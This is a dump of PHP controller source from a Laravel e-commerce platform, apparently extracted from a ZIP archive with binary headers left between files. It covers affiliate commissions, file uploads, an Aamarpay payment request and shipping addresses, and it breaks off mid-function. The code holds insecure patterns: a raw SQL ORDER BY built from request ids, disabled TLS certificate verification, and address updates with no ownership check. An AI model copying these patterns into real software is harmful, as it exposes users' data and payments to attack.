$request){ $affiliate_payment = new AffiliatePayment; $affiliate_payment->affiliate_user_id = $request->affiliate_user_id; $affiliate_payment->amount = $request->amount; $affiliate_payment->payment_method = $request->payment_method; $affiliate_payment->save(); $affiliate_user = AffiliateUser::findOrFail($request->affiliate_user_id); $affiliate_user->balance -= $request->amount; $affiliate_user->save(); flash(translate('Payment completed'))->success(); return back(); } public function payment_history($id){ $affiliate_user = AffiliateUser::findOrFail(decrypt($id)); $affiliate_payments = $affiliate_user->affiliate_payments(); return view('affiliate.payment_history', compact('affiliate_payments', 'affiliate_user')); } public function user_index(Request $request){ $affiliate_logs = AffiliateLog::where('referred_by_user', Auth::user()->id)->latest()->paginate(10); $query = AffiliateStats::query(); $query = $query->select( DB::raw('SUM(no_of_click) AS count_click, SUM(no_of_order_item) AS count_item, SUM(no_of_delivered) AS count_delivered, SUM(no_of_cancel) AS count_cancel') ); if($request->type == 'Today') { $query->whereDate('created_at', Carbon::today()); } else if($request->type == '7' || $request->type == '30') { $query->whereRaw('created_at <= NOW() AND created_at >= DATE_SUB(created_at, INTERVAL '. $request->type .' DAY)'); } $query->where('affiliate_user_id', Auth::user()->id); $affliate_stats = $query->first(); $type = $request->type; // dd($type); return view('affiliate.frontend.index', compact('affiliate_logs', 'affliate_stats', 'type')); } // payment history for user public function user_payment_history(){ $affiliate_user = Auth::user()->affiliate_user; $affiliate_payments = $affiliate_user->affiliate_payments(); return view('affiliate.frontend.payment_history', compact('affiliate_payments')); } // withdraw request history for user public function user_withdraw_request_history(){ $affiliate_user = Auth::user()->affiliate_user; $affiliate_withdraw_requests = AffiliateWithdrawRequest::where('user_id', Auth::user()->id)->orderBy('id', 'desc')->paginate(10); return view('affiliate.frontend.withdraw_request_history', compact('affiliate_withdraw_requests')); } public function payment_settings(){ $affiliate_user = Auth::user()->affiliate_user; return view('affiliate.frontend.payment_settings', compact('affiliate_user')); } public function payment_settings_store(Request $request){ $affiliate_user = Auth::user()->affiliate_user; $affiliate_user->paypal_email = $request->paypal_email; $affiliate_user->bank_information = $request->bank_information; $affiliate_user->save(); flash(translate('Affiliate payment settings has been updated successfully'))->success(); return redirect()->route('affiliate.user.index'); } public function processAffiliatePoints(Order $order){ if(addon_is_activated('affiliate_system')){ if(AffiliateOption::where('type', 'user_registration_first_purchase')->first()->status){ if ($order->user != null && $order->user->orders->count() == 1) { if($order->user->referred_by != null){ $user = User::find($order->user->referred_by); if ($user != null) { $amount = (AffiliateOption::where('type', 'user_registration_first_purchase')->first()->percentage * $order->grand_total)/100; $affiliate_user = $user->affiliate_user; if($affiliate_user != null){ $affiliate_user->balance += $amount; $affiliate_user->save(); // Affiliate log $affiliate_log = new AffiliateLog; $affiliate_log->user_id = $order->user_id; $affiliate_log->referred_by_user = $order->user->referred_by; $affiliate_log->amount = $amount; $affiliate_log->order_id = $order->id; $affiliate_log->affiliate_type = 'user_registration_first_purchase'; $affiliate_log->save(); } } } } } if(AffiliateOption::where('type', 'product_sharing')->first()->status) { foreach ($order->orderDetails as $key => $orderDetail) { $amount = 0; if($orderDetail->product_referral_code != null) { $referred_by_user = User::where('referral_code', $orderDetail->product_referral_code)->first(); if($referred_by_user != null) { if(AffiliateOption::where('type', 'product_sharing')->first()->details != null && json_decode(AffiliateOption::where('type', 'product_sharing')->first()->details)->commission_type == 'amount') { $amount = json_decode(AffiliateOption::where('type', 'product_sharing')->first()->details)->commission; } elseif(AffiliateOption::where('type', 'product_sharing')->first()->details != null && json_decode(AffiliateOption::where('type', 'product_sharing')->first()->details)->commission_type == 'percent') { $amount = (json_decode(AffiliateOption::where('type', 'product_sharing')->first()->details)->commission * $orderDetail->price)/100; } $affiliate_user = $referred_by_user->affiliate_user; if($affiliate_user != null) { $affiliate_user->balance += $amount; $affiliate_user->save(); // Affiliate log $affiliate_log = new AffiliateLog; if($order->user_id != null) { $affiliate_log->user_id = $order->user_id; } else { $affiliate_log->guest_id = $order->guest_id; } $affiliate_log->referred_by_user = $referred_by_user->id; $affiliate_log->amount = $amount; $affiliate_log->order_id = $order->id; $affiliate_log->order_detail_id = $orderDetail->id; $affiliate_log->affiliate_type = 'product_sharing'; $affiliate_log->save(); } } } } } elseif (AffiliateOption::where('type', 'category_wise_affiliate')->first()->status) { foreach ($order->orderDetails as $key => $orderDetail) { $amount = 0; if($orderDetail->product_referral_code != null) { $referred_by_user = User::where('referral_code', $orderDetail->product_referral_code)->first(); if($referred_by_user != null) { if(AffiliateOption::where('type', 'category_wise_affiliate')->first()->details != null){ foreach (json_decode(AffiliateOption::where('type', 'category_wise_affiliate')->first()->details) as $key => $value) { if($value->category_id == $orderDetail->product->category->id){ if($value->commission_type == 'amount'){ $amount = $value->commission; } else { $amount = ($value->commission * $orderDetail->price)/100; } } } } $affiliate_user = $referred_by_user->affiliate_user; if($affiliate_user != null){ $affiliate_user->balance += $amount; $affiliate_user->save(); // Affiliate log $affiliate_log = new AffiliateLog; if($order->user_id != null){ $affiliate_log->user_id = $order->user_id; } else{ $affiliate_log->guest_id = $order->guest_id; } $affiliate_log->referred_by_user = $referred_by_user->id; $affiliate_log->amount = $amount; $affiliate_log->order_id = $order->id; $affiliate_log->order_detail_id = $orderDetail->id; $affiliate_log->affiliate_type = 'category_wise_affiliate'; $affiliate_log->save(); } } } } } } } public function processAffiliateStats($affiliate_user_id, $no_click = 0, $no_item = 0, $no_delivered = 0, $no_cancel = 0) { $affiliate_stats = AffiliateStats::whereDate('created_at', Carbon::today()) ->where("affiliate_user_id", $affiliate_user_id) ->first(); if(!$affiliate_stats) { $affiliate_stats = new AffiliateStats; $affiliate_stats->no_of_order_item = 0; $affiliate_stats->no_of_delivered = 0; $affiliate_stats->no_of_cancel = 0; $affiliate_stats->no_of_click = 0; } $affiliate_stats->no_of_order_item += $no_item; $affiliate_stats->no_of_delivered += $no_delivered; $affiliate_stats->no_of_cancel += $no_cancel; $affiliate_stats->no_of_click += $no_click; $affiliate_stats->affiliate_user_id = $affiliate_user_id; // dd($affiliate_stats); $affiliate_stats->save(); // foreach($order->orderDetails as $key => $orderDetail) { // $referred_by_user = User::where('referral_code', $orderDetail->product_referral_code)->first(); // // if($referred_by_user != null) { // if($orderDetail->delivery_status == 'delivered') { // $affiliate_stats->no_of_delivered++; // } if($orderDetail->delivery_status == 'cancelled') { // $affiliate_stats->no_of_cancel++; // } // // $affiliate_stats->affiliate_user_id = $referred_by_user->id; // dd($affiliate_stats); // $affiliate_stats->save(); // } // } } public function refferal_users() { $refferal_users = User::where('referred_by', '!=' , null)->paginate(10); return view('affiliate.refferal_users', compact('refferal_users')); } // Affiliate Withdraw Request public function withdraw_request_store(Request $request) { $minimum_affiliate_withdraw_info = \App\Models\AffiliateConfig::where('type', 'minimum_affiliate_withdraw_amount')->first(); if(($minimum_affiliate_withdraw_info !=null && ($request->amount < $minimum_affiliate_withdraw_info->value)) || ($request->amount > Auth::user()->affiliate_user->balance)){ flash(translate('Invalid withdraw Amount!'))->error(); return redirect()->route('affiliate.user.withdraw_request_history'); } $withdraw_request = new AffiliateWithdrawRequest; $withdraw_request->user_id = Auth::user()->id; $withdraw_request->amount = $request->amount; $withdraw_request->status = 0 ; if($withdraw_request->save()){ $affiliate_user = AffiliateUser::where('user_id',Auth::user()->id)->first(); $affiliate_user->balance = $affiliate_user->balance - $request->amount; $affiliate_user->save(); flash(translate('New withdraw request created successfully'))->success(); return redirect()->route('affiliate.user.withdraw_request_history'); } else{ flash(translate('Something went wrong'))->error(); return back(); } } public function affiliate_withdraw_requests() { $affiliate_withdraw_requests = AffiliateWithdrawRequest::orderBy('id', 'desc')->paginate(10); return view('affiliate.affiliate_withdraw_requests', compact('affiliate_withdraw_requests')); } public function affiliate_withdraw_modal(Request $request) { $affiliate_withdraw_request = AffiliateWithdrawRequest::findOrFail($request->id); $affiliate_user = AffiliateUser::where('user_id',$affiliate_withdraw_request->user_id)->first(); return view('affiliate.affiliate_withdraw_modal', compact('affiliate_withdraw_request','affiliate_user')); } public function withdraw_request_payment_store(Request $request){ $affiliate_payment = new AffiliatePayment; $affiliate_payment->affiliate_user_id = $request->affiliate_user_id; $affiliate_payment->amount = $request->amount; $affiliate_payment->payment_method = $request->payment_method; $affiliate_payment->save(); if ($request->has('affiliate_withdraw_request_id')) { $affiliate_withdraw_request = AffiliateWithdrawRequest::findOrFail($request->affiliate_withdraw_request_id); $affiliate_withdraw_request->status = 1; $affiliate_withdraw_request->save(); } flash(translate('Payment completed'))->success(); return back(); } public function reject_withdraw_request($id) { $affiliate_withdraw_request = AffiliateWithdrawRequest::findOrFail($id); $affiliate_withdraw_request->status = 2; if($affiliate_withdraw_request->save()){ $affiliate_user = AffiliateUser::where('user_id', $affiliate_withdraw_request->user_id)->first(); $affiliate_user->balance = $affiliate_user->balance + $affiliate_withdraw_request->amount; $affiliate_user->save(); flash(translate('Affiliate withdraw request has been rejected successfully'))->success(); return redirect()->route('affiliate.withdraw_requests'); } flash(translate('Something went wrong'))->error(); return back(); } } PKPM]�}PGG(Http/Controllers/AizUploadController.phpnu�[���user()->user_type == 'seller') ? Upload::where('user_id', auth()->user()->id) : Upload::query(); $search = null; $sort_by = null; if ($request->search != null) { $search = $request->search; $all_uploads->where('file_original_name', 'like', '%' . $request->search . '%'); } $sort_by = $request->sort; switch ($request->sort) { case 'newest': $all_uploads->orderBy('created_at', 'desc'); break; case 'oldest': $all_uploads->orderBy('created_at', 'asc'); break; case 'smallest': $all_uploads->orderBy('file_size', 'asc'); break; case 'largest': $all_uploads->orderBy('file_size', 'desc'); break; default: $all_uploads->orderBy('created_at', 'desc'); break; } $all_uploads = $all_uploads->paginate(60)->appends(request()->query()); return (auth()->user()->user_type == 'seller') ? view('seller.uploads.index', compact('all_uploads', 'search', 'sort_by')) : view('backend.uploaded_files.index', compact('all_uploads', 'search', 'sort_by')); } public function create() { if (env('DEMO_MODE') == 'On') { flash(translate('Data can not change in demo mode.'))->info(); return back(); } return (auth()->user()->user_type == 'seller') ? view('seller.uploads.create') : view('backend.uploaded_files.create'); } public function show_uploader(Request $request) { return view('uploader.aiz-uploader'); } public function upload(Request $request) { $type = array( "jpg" => "image", "jpeg" => "image", "png" => "image", "svg" => "image", "webp" => "image", "gif" => "image", "mp4" => "video", "mpg" => "video", "mpeg" => "video", "webm" => "video", "ogg" => "video", "avi" => "video", "mov" => "video", "flv" => "video", "swf" => "video", "mkv" => "video", "wmv" => "video", "wma" => "audio", "aac" => "audio", "wav" => "audio", "mp3" => "audio", "zip" => "archive", "rar" => "archive", "7z" => "archive", "doc" => "document", "txt" => "document", "docx" => "document", "pdf" => "document", "csv" => "document", "xml" => "document", "ods" => "document", "xlr" => "document", "xls" => "document", "xlsx" => "document" ); if ($request->hasFile('aiz_file')) { $upload = new Upload; $extension = strtolower($request->file('aiz_file')->getClientOriginalExtension()); if ( env('DEMO_MODE') == 'On' && isset($type[$extension]) && $type[$extension] == 'archive' ) { return '{}'; } if (isset($type[$extension])) { $upload->file_original_name = null; $arr = explode('.', $request->file('aiz_file')->getClientOriginalName()); for ($i = 0; $i < count($arr) - 1; $i++) { if ($i == 0) { $upload->file_original_name .= $arr[$i]; } else { $upload->file_original_name .= "." . $arr[$i]; } } if ($extension == 'webp') { $img = $request->file('aiz_file'); $extension = $img->getClientOriginalExtension(); $filename = Str::random(40) . '.' . $extension; $path = public_path('uploads/all'); if (!file_exists($path)) { mkdir($path, 0777, true); } $fileSizeKB = round($img->getSize() / 1024, 2); $img->move($path, $filename); $upload->extension = $extension; $upload->file_name = 'uploads/all/' . $filename; $upload->user_id = Auth::user()->id; $upload->type = $type[$upload->extension]; $upload->file_size = $fileSizeKB . ' kb'; $upload->save(); return '{}'; } elseif ($extension == 'gif') { $img = $request->file('aiz_file'); $extension = $img->getClientOriginalExtension(); $filename = Str::random(40) . '.' . $extension; $path = public_path('uploads/all'); if (!file_exists($path)) { mkdir($path, 0777, true); } $fileSizeKB = round($img->getSize() / 1024, 2); $img->move($path, $filename); $upload->extension = $extension; $upload->file_name = 'uploads/all/' . $filename; $upload->user_id = Auth::user()->id; $upload->type = $type[$upload->extension]; $upload->file_size = $fileSizeKB . ' kb'; $upload->save(); return '{}'; } elseif ($extension == 'svg') { $sanitizer = new Sanitizer(); // Load the dirty svg $dirtySVG = file_get_contents($request->file('aiz_file')); // Pass it to the sanitizer and get it back clean $cleanSVG = $sanitizer->sanitize($dirtySVG); // Load the clean svg file_put_contents($request->file('aiz_file'), $cleanSVG); } $size = $request->file('aiz_file')->getSize(); if ($type[$extension] == 'image' && $extension != 'svg') { if (get_setting('uploaded_image_format') != "default") { $extension = get_setting('uploaded_image_format'); } try { $path = 'uploads/all/'. Str::random(40) . '.' .$extension; $img = Image::make($request->file('aiz_file')->getRealPath())->encode($extension, 75); $height = $img->height(); $width = $img->width(); // watermark if (get_setting('use_image_watermark') == 'on') { $watermark_position = get_setting('watermark_position', 'top-left'); // watermark Image if (get_setting('image_watermark_type') == "image") { $watermarkImg = Image::make(uploaded_asset(get_setting('watermark_image'))); if ($width > $height) { $wmarkHeight = $height / 2; $watermarkImg->resize(null, $wmarkHeight, function ($constraint) { $constraint->aspectRatio(); }); } else { $wmarkWidth = $width / 2; $watermarkImg->resize(null, $wmarkWidth, function ($constraint) { $constraint->aspectRatio(); }); } $img->insert($watermarkImg, $watermark_position, 10, 10); // // --------watermark Image multiple times------ // if ($width > 1999) { // $watermark = 'watermark-2x.png'; // } else { // $watermark = 'watermark-1x.png'; // } // $watermarkImg = Image::make('public/assets/img/'.$watermark); // $wmarkWidth=$watermarkImg->width(); // $wmarkHeight=$watermarkImg->height(); // $x=10; // $y=10; // while($y<=$height){ // $img->insert($watermarkImg,'top-left',$x,$y); // $x+=$wmarkWidth+40; // if($x>=$width){ // $x=0; // $y+=$wmarkHeight+30; // } // } // watermark Text } elseif (get_setting('image_watermark_type') == "text") { if ($watermark_position == 'center') { $valign = 'middle'; $align = 'center'; $x = round($width / 2); $y = round($height / 2); } else { $valign = explode('-', $watermark_position)[0]; $align = explode('-', $watermark_position)[1]; $x = ($align == 'right') ? ($width - 20) : 20; $y = ($valign == 'bottom') ? ($height - 20) : 20; } $img->text(get_setting('watermark_text', 'Watermark Text Here'), $x, $y, function ($font) use ($valign, $align) { $font->file(base_path('public/assets/fonts/robotoMedium.ttf')); $font->size(get_setting('watermark_text_size', 20)); $font->color(get_setting('watermark_text_color', '#e1e1e1')); $font->align($align); $font->valign($valign); }); } } // Image optimization if (get_setting('disable_image_optimization') != 1) { if ($width > $height && $width > 1500) { $img->resize(1500, null, function ($constraint) { $constraint->aspectRatio(); }); } elseif ($height > 1500) { $img->resize(null, 800, function ($constraint) { $constraint->aspectRatio(); }); } } $img->save(base_path('public/') . $path); clearstatcache(); $size = $img->filesize(); } catch (\Exception $e) { //dd($e); } } else { $path = $request->file('aiz_file')->store('uploads/all', 'local'); } if (env('FILESYSTEM_DRIVER') != 'local') { // Return MIME type ala mimetype extension $finfo = finfo_open(FILEINFO_MIME_TYPE); // Get the MIME type of the file $file_mime = finfo_file($finfo, base_path('public/') . $path); Storage::disk(env('FILESYSTEM_DRIVER'))->put( $path, file_get_contents(base_path('public/') . $path), [ 'visibility' => 'public', 'ContentType' => $extension == 'svg' ? 'image/svg+xml' : $file_mime ] ); if ($arr[0] != 'updates') { unlink(base_path('public/') . $path); } } $upload->extension = $extension; $upload->file_name = $path; $upload->user_id = Auth::user()->id; $upload->type = $type[$upload->extension]; $upload->file_size = $size; $upload->save(); } return '{}'; } } public function get_uploaded_files(Request $request) { $uploads = Upload::where('user_id', Auth::user()->id); if ($request->search != null) { $uploads->where('file_original_name', 'like', '%' . $request->search . '%'); } if ($request->sort != null) { switch ($request->sort) { case 'newest': $uploads->orderBy('created_at', 'desc'); break; case 'oldest': $uploads->orderBy('created_at', 'asc'); break; case 'smallest': $uploads->orderBy('file_size', 'asc'); break; case 'largest': $uploads->orderBy('file_size', 'desc'); break; default: $uploads->orderBy('created_at', 'desc'); break; } } return $uploads->paginate(60)->appends(request()->query()); } public function destroy($id) { $upload = Upload::findOrFail($id); if (auth()->user()->user_type == 'seller' && $upload->user_id != auth()->user()->id) { flash(translate("You don't have permission for deleting this!"))->error(); return back(); } try { if (env('FILESYSTEM_DRIVER') != 'local') { Storage::disk(env('FILESYSTEM_DRIVER'))->delete($upload->file_name); if (file_exists(public_path() . '/' . $upload->file_name)) { unlink(public_path() . '/' . $upload->file_name); } } else { unlink(public_path() . '/' . $upload->file_name); } $upload->delete(); flash(translate('File deleted successfully'))->success(); } catch (\Exception $e) { $upload->delete(); flash(translate('File deleted successfully'))->success(); } return back(); } public function bulk_uploaded_files_delete(Request $request) { if ($request->id) { foreach ($request->id as $file_id) { $this->destroy($file_id); } return 1; } else { return 0; } } public function get_preview_files(Request $request) { $ids = explode(',', $request->ids); $files = Upload::whereIn('id', $ids) ->orderByRaw("FIELD(id, " . implode(',', $ids) . ")") ->get(); $new_file_array = []; foreach ($files as $file) { $file['file_name'] = my_asset($file->file_name); if ($file->external_link) { $file['file_name'] = $file->external_link; } $new_file_array[] = $file; } // dd($new_file_array); return $new_file_array; // return $files; } public function all_file() { $uploads = Upload::all(); foreach ($uploads as $upload) { try { if (env('FILESYSTEM_DRIVER') != 'local') { Storage::disk(env('FILESYSTEM_DRIVER'))->delete($upload->file_name); if (file_exists(public_path() . '/' . $upload->file_name)) { unlink(public_path() . '/' . $upload->file_name); } } else { unlink(public_path() . '/' . $upload->file_name); } $upload->delete(); flash(translate('File deleted successfully'))->success(); } catch (\Exception $e) { $upload->delete(); flash(translate('File deleted successfully'))->success(); } } Upload::query()->truncate(); return back(); } //Download project attachment public function attachment_download($id) { $project_attachment = Upload::find($id); try { $file_path = public_path($project_attachment->file_name); return Response::download($file_path); } catch (\Exception $e) { flash(translate('File does not exist!'))->error(); return back(); } } //Download project attachment public function file_info(Request $request) { $file = Upload::findOrFail($request['id']); return (auth()->user()->user_type == 'seller') ? view('seller.uploads.info', compact('file')) : view('backend.uploaded_files.info', compact('file')); } } PKPM]�o���.Http/Controllers/Api/V2/AamarpayController.phpnu�[���payment_type; $combined_order_id = $request->combined_order_id; $amount = round($request->amount); $user_id = $request->user_id; $paymentData = 0; if(isset($request->package_id)){ $paymentData = $request->package_id; } if(isset($request->order_id)){ $paymentData = $request->order_id; } $user = User::find($user_id); if ($user->phone == null) { return response()->json(['result' => false, 'message' => translate("Please add phone number to your profile")]); } $email = $user->email != null ? $user->email : '[email protected]'; if (get_setting('aamarpay_sandbox') == 1) { $url = 'https://sandbox.aamarpay.com/request.php'; // live url https://secure.aamarpay.com/request.php } else { $url = 'https://secure.aamarpay.com/request.php'; } if ($payment_type) { if ($payment_type == 'cart_payment') { $combined_order = CombinedOrder::find($combined_order_id); $amount = round($combined_order->grand_total); } elseif ($payment_type == 'order_re_payment') { $order = Order::find($request->order_id); $amount = round($order->grand_total); } } $fields = array( 'store_id' => env('AAMARPAY_STORE_ID'), //store id will be aamarpay, contact [email protected] for test/live id 'amount' => $amount, //transaction amount 'payment_type' => 'VISA', //no need to change 'currency' => 'BDT', //currenct will be USD/BDT 'tran_id' => rand(1111111, 9999999), //transaction id must be unique from your end 'cus_name' => $user->name, //customer name 'cus_email' => $email, //customer email address 'cus_add1' => '', //customer address 'cus_add2' => '', //customer address 'cus_city' => '', //customer city 'cus_state' => '', //state 'cus_postcode' => '', //postcode or zipcode 'cus_country' => 'Bangladesh', //country 'cus_phone' => $user->phone, //customer phone number 'cus_fax' => 'Not¬Applicable', //fax 'ship_name' => '', //ship name 'ship_add1' => '', //ship address 'ship_add2' => '', 'ship_city' => '', 'ship_state' => '', 'ship_postcode' => '', 'ship_country' => 'Bangladesh', 'desc' => env('APP_NAME') . ' payment', 'success_url' => route('api.amarpay.success'), //your success route 'fail_url' => route('api.amarpay.cancel'), //your fail route 'cancel_url' => route('cart'), //your cancel url 'opt_a' => $payment_type, //optional paramter 'opt_b' => $combined_order_id, 'opt_c' => $paymentData, 'opt_d' => $user_id, 'signature_key' => env('AAMARPAY_SIGNATURE_KEY') //signature key will provided aamarpay, contact [email protected] for test/live signature key ); $fields_string = http_build_query($fields); $ch = curl_init(); curl_setopt($ch, CURLOPT_VERBOSE, true); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POSTFIELDS, $fields_string); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $url_forward = str_replace('"', '', stripslashes(curl_exec($ch))); curl_close($ch); $this->redirect_to_merchant($url_forward); } function redirect_to_merchant($url) { if (get_setting('aamarpay_sandbox') == 1) { $base_url = 'https://sandbox.aamarpay.com/'; } else { $base_url = 'https://secure.aamarpay.com/'; } ?>
opt_a; if ($payment_type == 'cart_payment') { checkout_done($request->opt_b, json_encode($request->all())); } elseif ($payment_type == 'order_re_payment') { order_re_payment_done($request->opt_c, 'AmarPay', json_encode($request->all())); } elseif ($payment_type == 'wallet_payment') { wallet_payment_done($request->opt_d, $request->amount, 'AmarPay', json_encode($request->all())); } elseif ($payment_type == 'customer_package_payment') { customer_purchase_payment_done($request->opt_d, $request->opt_c, 'AmarPay', json_encode($request->all())); } elseif ($payment_type == 'seller_package_payment') { seller_purchase_payment_done($request->opt_d, $request->opt_c, 'AmarPay', json_encode($request->all())); } return response()->json(['result' => true, 'message' => translate("Payment is successful")]); } public function fail(Request $request) { return response()->json(['result' => false, 'message' => translate("Payment is failed")]); } } PKPM]p9��-�--Http/Controllers/Api/V2/AddressController.phpnu�[���user()->id)->get()); } public function createShippingAddress(Request $request) { $address = new Address; $address->user_id = auth()->user()->id; $address->address = $request->address; $address->country_id = $request->country_id; $address->state_id = $request->state_id; $address->city_id = $request->city_id; $address->area_id = $request->area_id; $address->postal_code = $request->postal_code; $address->phone = $request->phone; $address->save(); return response()->json([ 'result' => true, 'message' => translate('Shipping information has been added successfully') ]); } public function updateShippingAddress(Request $request) { $address = Address::find($request->id); $address->address = $request->address; $address->country_id = $request->country_id; if ($request->country_id && !$request->state_id && $request->country_id != $address->country_id) { $address->state_id = null; } else { $address->state_id = $request->state_id ?? $address->state_id; } $address->city_id = $request->city_id; $address->area_id = $request->area_id; $address->postal_code = $request->postal_code; $address->phone = $request->phone; $address->save(); return response()->json([ 'result' => true, 'message' => translate('Shipping information has been updated successfully') ]); } public function updateShippingAddressLocation(Request $request) { $address = Address::find($request->id); $address->latitude = $request->latitude; $address->longitude = $request->longitude; $address->save(); return response()->json([ 'result' => true, 'message' => translate('Shipping location in map updated successfully') ]); } public function deleteShippingAddress($id) { $address = Address::where('id',$id)->where('user_id',auth()->user()->id)->first(); if($address == null) { return response()->json([ 'result' => false, 'message' => translate('Address not found') ]); } $address->delete(); return response()->json([ 'result' => true, 'message' => translate('Shipping information has been deleted') ]); } public function makeShippingAddressDefault(Request $request) { $address = Address::find($request->id); if($request->set_billing){ Address::where('user_id', auth()->user()->id)->update(['set_billing' => 0]); $address->set_billing = 1; }else{ Address::where('user_id', auth()->user()->id)->update(['set_default' => 0]); $address->set_default = 1; } $address->save(); return response()->json([ 'result' => true, 'message' => translate('Default shipping information has been updated') ]); } public function updateAddressInCart(Request $request) { $authUser = $request->user_id != null ? User::where('id', $request->user_id)->first() : null; $address[] = null; if(get_setting('guest_checkout_activation') == 0 && $authUser == null){ return response()->json([ 'result' => false, 'message' => translate('Please Login First.') ]); } if($authUser != null){ if($request->address_id == null){ return response()->json([ 'result' => false, 'message' => translate('Please add shipping address.') ]); } Cart::where('user_id', $authUser->id)->active()->update(['address_id' => $request->address_id, 'billing_address' => $request->billing_address_id]); $shipping_info['country_id'] = $authUser->addresses()->where('id', $request->address_id)->first()->country_id; $shipping_info['city_id'] = $authUser->addresses()->where('id', $request->address_id)->first()->city_id; $shipping_info['address_id'] = $request->address_id; return response()->json([ 'result' => true, 'data' => $shipping_info, 'message' => translate('Address is saved') ]); } else { if(get_setting('guest_checkout_activation') == 1){ if($request->name == null || $request->email == null || $request->address == null || $request->country_id == null || $request->state_id == null || $request->city_id == null || $request->postal_code == null || $request->phone == null) { return response()->json([ 'result' => false, 'message' => translate('Please add shipping address') ]); } $shipping_info['name'] = $request->name; $shipping_info['email'] = $request->email; $shipping_info['address'] = $request->address; $shipping_info['country_id'] = $request->country_id; $shipping_info['state_id'] = $request->state_id; $shipping_info['city_id'] = $request->city_id; $shipping_info['postal_code'] = $request->postal_code; $shipping_info['phone'] = '+'.$request->country_code.$request->phone; $shipping_info['longitude'] = $request->longitude; $shipping_info['latitude'] = $request->latitude; return response()->json([ 'result' => true, 'data' => $shipping_info, 'message' => translate('Shipping Info saved.') ]); } } } public function getShippingInCart(Request $request) { $cart= Cart::where('user_id', auth()->user()->id)->active()->first(); $address = $cart->address; return new AddressCollection(Address::where('id', $address->id)->get()); } public function updateShippingTypeInCart(Request $request) { try { $userId = $request->has('user_id') ? $request->user_id : null; $tempUserId = $request->has('temp_user_id') ? $request->temp_user_id : null; $carts = ($userId != null) ? Cart::where('user_id', $userId)->active()->get() : Cart::where('temp_user_id', $tempUserId)->active()->get(); // Logged In User shipping info if($userId != null){ $address = Address::where('id', $carts[0]['address_id'])->first(); $shipping_info['country_id'] = $address->country_id; $shipping_info['city_id'] = $address->city_id; } // Guest User Shipping info elseif($tempUserId != null){ $shipping_info['country_id'] = $request->country_id; $shipping_info['city_id'] = $request->city_id; } foreach ($carts as $key => $cart) { $cart->shipping_cost = 0; if($request->shipping_type=="pickup_point"){ $cart->shipping_type="pickup_point"; $cart->pickup_point=$request->shipping_id; $cart->carrier_id=0; } else if($request->shipping_type=="home_delivery"){ $cart->shipping_cost = getShippingCost($carts, $key, $shipping_info ); $cart->shipping_type="home_delivery"; $cart->pickup_point=0; $cart->carrier_id=0; } else if($request->shipping_type=="carrier_base"){ $cart->shipping_cost = getShippingCost($carts, $key, $shipping_info, $cart->carrier_id); $cart->shipping_type="carrier"; $cart->carrier_id=$request->shipping_id; $cart->pickup_point=0; } $cart->save(); } } catch (\Exception $e) { return response()->json([ 'result' => false, 'message' => translate('Could not save the address') ]); } return response()->json([ 'result' => true, 'message' => translate('Delivery address is saved') ]); } public function getCities() { return new CitiesCollection(City::where('status', 1)->get()); } public function getStates() { return new StatesCollection(State::where('status', 1)->get()); } public function getCountries(Request $request) { $country_query = Country::where('status', 1); if ($request->name != "" || $request->name != null) { $country_query->where('name', 'like', '%' . $request->name . '%'); } $countries = $country_query->get(); return new CountriesCollection($countries); } public function getCitiesByState($state_id,Request $request) { $city_query = City::where('status', 1)->where('state_id',$state_id); if ($request->name != "" || $request->name != null) { $city_query->where('name', 'like', '%' . $request->name . '%'); } $cities = $city_query->get(); return new CitiesCollection($cities); } public function getCitiesByCountry($country_id,Request $request) { $city_query = City::where('status', 1)->where('country_id',$country_id); if ($request->name != "" || $request->name != null) { $city_query->where('name', 'like', '%' . $request->name . '%'); } $cities = $city_query->get(); return new CitiesCollection($cities); } public function getStatesByCountry($country_id,Request $request) { $state_query = State::where('status', 1)->where('country_id',$country_id); if ($request->name != "" || $request->name != null) { $state_query->where('name', 'like', '%' . $request->name . '%'); } $states = $state_query->get(); return new StatesCollection($states); } public function getAreasByCity($city_id,Request $request) { $area_query = Area::where('status', 1)->where('city_id',$city_id); if ($request->name != "" || $request->name != null) { $area_query->where('name', 'like', '%' . $request->name . '%'); } $areas = $area_query->get(); return new AreasCollection($areas); } } PKPM]��p*p*/Http/Controllers/Api/V2/AizUploadController.phpnu�[���user()->user_type == 'seller') ? Upload::where('user_id', auth()->user()->id) : Upload::query(); $search = null; $sort_by = null; if ($request->search != null) { $search = $request->search; $all_uploads->where('file_original_name', 'like', '%' . $request->search . '%'); } $sort_by = $request->sort; switch ($request->sort) { case 'newest': $all_uploads->orderBy('created_at', 'desc'); break; case 'oldest': $all_uploads->orderBy('created_at', 'asc'); break; case 'smallest': $all_uploads->orderBy('file_size', 'asc'); break; case 'largest': $all_uploads->orderBy('file_size', 'desc'); break; default: $all_uploads->orderBy('created_at', 'desc'); break; } $all_uploads = $all_uploads->paginate(60)->appends(request()->query()); return (auth()->user()->user_type == 'seller') ? view('seller.uploads.index', compact('all_uploads', 'search', 'sort_by')) : view('backend.uploaded_files.index', compact('all_uploads', 'search', 'sort_by')); } public function upload(Request $request) { $type = array( "jpg" => "image", "jpeg" => "image", "png" => "image", "svg" => "image", "webp" => "image", "gif" => "image", "mp4" => "video", "mpg" => "video", "mpeg" => "video", "webm" => "video", "ogg" => "video", "avi" => "video", "mov" => "video", "flv" => "video", "swf" => "video", "mkv" => "video", "wmv" => "video", "wma" => "audio", "aac" => "audio", "wav" => "audio", "mp3" => "audio", "zip" => "archive", "rar" => "archive", "7z" => "archive", "doc" => "document", "txt" => "document", "docx" => "document", "pdf" => "document", "csv" => "document", "xml" => "document", "ods" => "document", "xlr" => "document", "xls" => "document", "xlsx" => "document" ); if ($request->hasFile('aiz_file')) { $upload = new Upload; $extension = strtolower($request->file('aiz_file')->getClientOriginalExtension()); if ( env('DEMO_MODE') == 'On' && isset($type[$extension]) && $type[$extension] == 'archive' ) { return $this->failed(translate('File has been inserted successfully')); } if (isset($type[$extension])) { $upload->file_original_name = null; $arr = explode('.', $request->file('aiz_file')->getClientOriginalName()); for ($i = 0; $i < count($arr) - 1; $i++) { if ($i == 0) { $upload->file_original_name .= $arr[$i]; } else { $upload->file_original_name .= "." . $arr[$i]; } } $path = $request->file('aiz_file')->store('uploads/all', 'local'); $size = $request->file('aiz_file')->getSize(); // Return MIME type ala mimetype extension $finfo = finfo_open(FILEINFO_MIME_TYPE); // Get the MIME type of the file $file_mime = finfo_file($finfo, base_path('public/') . $path); if ($type[$extension] == 'image' && get_setting('disable_image_optimization') != 